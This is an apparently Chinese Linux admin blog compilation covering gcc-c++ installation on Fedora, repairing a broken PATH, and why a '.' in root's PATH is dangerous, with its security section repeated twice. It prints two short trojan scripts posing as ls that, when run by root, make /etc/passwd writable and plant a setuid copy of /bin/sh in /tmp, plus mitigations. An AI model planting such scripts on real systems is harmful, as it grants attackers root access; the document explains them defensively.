再debian下直接apt-get install gcc g++就可以了。按照类似的逻辑，再Fedora下yum install gcc g++ 报告无法找到g++包。
差了一下，原来这个包的名字叫做gcc-c++。完整的应该是yum install gcc gcc-c++ 。
注意安装时要先成为root用户。
linux下环境变量PATH设置错误的补救
之前不小心在/etc/profile中添加了错误的PATH变量，导致几乎所有的系统命令无法使用，惊出一身冷汗，然后经过多次试验终于修复成功。以下是部分经验：
首先，PATH变量记录着各系统命令的存放路径，所以平时使用系统命令时可以直接输入命令而不需要连命令的路径一起。
比如"vi"命令，在PATH变量正常的时候直接输入"vi /etc/profile"就可以，而PATH变量出错的时候就需要输入"/bin/vi /etc/profile"才能正常使用，否则系统将提示错误。
也就是说，即使PATH变量出问题，系统命令也不会丢失，只不过使用的时候必须输入命令所在的路径。
其次，PATH变量中存储的系统命令路径是以":"分隔的，通常PATH的值为"/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin"。
在把常用的非系统命令路径加入时也是以同样的方式，在变量的末尾加入":"及路径，需要注意的是路径末尾不能以"/"结尾，否则将导致整个PATH变量出错。
最后是修复PATH变量的方法。修复PATH变量其实很简单，就是重新给PATH变量赋值就可以了。至于PATH的默认值可以从其他的服务器上复制过来。
使用"echo $PATH"命令就可以查看当前服务器的PATH变量值，在正常的服务器上运行命令并复制输出的结果，然后用"export PATH"命令重新给PATH命令赋值就可以了。命令如下：
"export PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin"
Linux的环境变量PATH中所带来的问题（环境变量“.”）
正如很多人所知道的$PATH环境变量里存着一张目录列表，当用户要执行某一程序时，系统就会按照列表中的内容去查找该程序的位置。当程序名前不带点斜线 . / 时$PATH就会起作用。
对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这在本机进行脚本开发的程序员来说却不方便，想图省事的人就把点加到了搜索路径中，这就等于在你的系统埋下了险情。
例如：root为了方便使用在他的当前路径末尾加了个点"."（搜索目录为代表当前目录）
命令操作如下：
[root@rh root]# PATH=$PATH:.
[root@rh root]# echo $PATH
/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.
这下是方便了，直接输入脚本名就能执行。OK，正常情况下一点问题没有，也省去了输入./foo.sh的烦恼（foo.sh是我假设的脚本文件名）。有的root把PATH=$PATH:.这条命令加到了profile里，使所有用户到分享你给他们带来的"福音"。更有胜者root用户竟然PATH=.:$PATH（将"："加到路径前是另一种形式）。正常请况下一点问题没有，直到有一天，张三用户在他的主目录下放了名为lls的脚本，并对root说他的系统出问题了希望root能帮他解决。（其实是一个trap）。Root一上来就su 成管理员权限，紧更着列了一下目录。有可能管理员误敲成了lls,结果哈哈。。。。
以下是个简单的C shell 的例子
#!/bin/csh
If ( ! -o /bin/su )
goto finish
cp /bin/sh /tmp/.sh
chmod 7777 /tmp/.sh
finish :
exec /bin/ls $argv | grep -v ls
稍微变形就有个B shell的
#！/bin/sh
if chmod 666 /etc/passwd > /dev/null 2>&1 ;then
cp /bin/sh /tmp/.sh
chmod 4755 /tmp/.sh
fi
exec ls "$@"
如果root将其环境变量$PATH包含了"."并且其位置先与ls所在的系统目录，那么当用户在/tmp中执行ls时，执行的是上面给出的脚本，而不是实际的ls命令，因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本，就会将口令文件设置为可写,并将shell复制到/tmp保存为.sh，同时设置其setuserid位，所有这一切都非常安静地发生。
在以上这两个程序里，心怀不鬼的人能写入任何令root急的要跳楼的程序，部下陷阱等root来钻，也许root在不知不觉中施行了也根本不会察觉。 也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本，root可能一到他的机器前就输入了ps,此时系统会首先到当前目录下搜索，结果/sbin/ps却不被执行。类似这样的小花招还有很多。
管理员同志，不要太紧张，下面我说说解决办法。
首先，要养成输绝对路径的良好命令行输入习惯，这样就不会让"不法份子"乘虚而入了。比如，列目录最好用/bin/ls来列目录，不要图方便而冒然输入ls。
其次，根用户（root）不要把"."包括到搜索目录列表里，而普通用户如果个"."包括到搜索列表中的话别，则"."就应当放在搜索目录列表的最后位置上。这样一来普通用户不会受到前面所述的那种危害。
最后，可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行
[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `
这个简单的sed命令将删除路径里所有的"."包括其另一形式"：："
还可以由crontab调用定期执行
#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt
来搜索所有以点开头的文件，再发送到root的邮箱里,再进行比较等任务。
设想一下,有一个人在一个他能写的目录下写了一个名为ls的可执行程序,程序会把/etc/shadow文件发送到某一邮箱,而root又恰巧在那个目录下,想ls下,结果是什么呢?
所以,很多安全要求高的Unix系统甚至要求用绝对路径调用命令
见<Linux 系统管理与网络管理>P296
本文主要讲述“.”在LINUX的环境变量PATH中所带来的问题，及解决的几种方法。
正如很多人所知道的$PATH环境变量里存着一张目录列表，当用户要执行某一程序时，系统就会按照列表中的内容去查找该程序的位置。当程序名前不带点斜线 . / 时$PATH就会起作用。
对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这在本机进行脚本开发的程序员来说却不方便，想图省事的人就把点加到了搜索路径中，这就等于在你的系统埋下了险情。
例如：root为了方便使用在他的当前路径末尾加了个点"."（搜索目录为代表当前目录）
命令操作如下：
[root@rh root]# PATH=$PATH:.
[root@rh root]# echo $PATH
/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.
这下是方便了，直接输入脚本名就能执行。OK，正常情况下一点问题没有，也省去了输入./foo.sh的烦恼（foo.sh是我假设的脚本文件名）。有的root把PATH=$PATH:.这条命令加到了profile里，使所有用户到分享你给他们带来的"福音"。更有胜者root用户竟然PATH=.:$PATH（将"："加到路径前是另一种形式）。正常请况下一点问题没有，直到有一天，张三用户在他的主目录下放了名为lls的脚本，并对root说他的系统出问题了希望root能帮他解决。（其实是一个trap）。Root一上来就su 成管理员权限，紧更着列了一下目录。有可能管理员误敲成了lls,结果哈哈。。。。
以下是个简单的C shell 的例子
#!/bin/csh
If ( ! -o /bin/su )
goto finish
cp /bin/sh /tmp/.sh
chmod 7777 /tmp/.sh
finish :
exec /bin/ls $argv | grep -v ls
稍微变形就有个B shell的
#！/bin/sh
if chmod 666 /etc/passwd > /dev/null 2>&1 ;then
cp /bin/sh /tmp/.sh
chmod 4755 /tmp/.sh
fi
exec ls "$@"
如果root将其环境变量$PATH包含了"."并且其位置先与ls所在的系统目录，那么当用户在/tmp中执行ls时，执行的是上面给出的脚本，而不是实际的ls命令，因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本，就会将口令文件设置为可写,并将shell复制到/tmp保存为.sh，同时设置其setuserid位，所有这一切都非常安静地发生。
在以上这两个程序里，心怀不鬼的人能写入任何令root急的要跳楼的程序，部下陷阱等root来钻，也许root在不知不觉中施行了也根本不会察觉。 也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本，root可能一到他的机器前就输入了ps,此时系统会首先到当前目录下搜索，结果/sbin/ps却不被执行。类似这样的小花招还有很多。
管理员同志，不要太紧张，下面我说说解决办法。
首先，要养成输绝对路径的良好命令行输入习惯，这样就不会让"不法份子"乘虚而入了。比如，列目录最好用/bin/ls来列目录，不要图方便而冒然输入ls。
其次，根用户（root）不要把"."包括到搜索目录列表里，而普通用户如果个"."包括到搜索列表中的话别，则"."就应当放在搜索目录列表的最后位置上。这样一来普通用户不会受到前面所述的那种危害。
最后，可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行
[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `
这个简单的sed命令将删除路径里所有的"."包括其另一形式"：："
还可以由crontab调用定期执行
#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt
来搜索所有以点开头的文件，再发送到root的邮箱里,再进行比较等任务。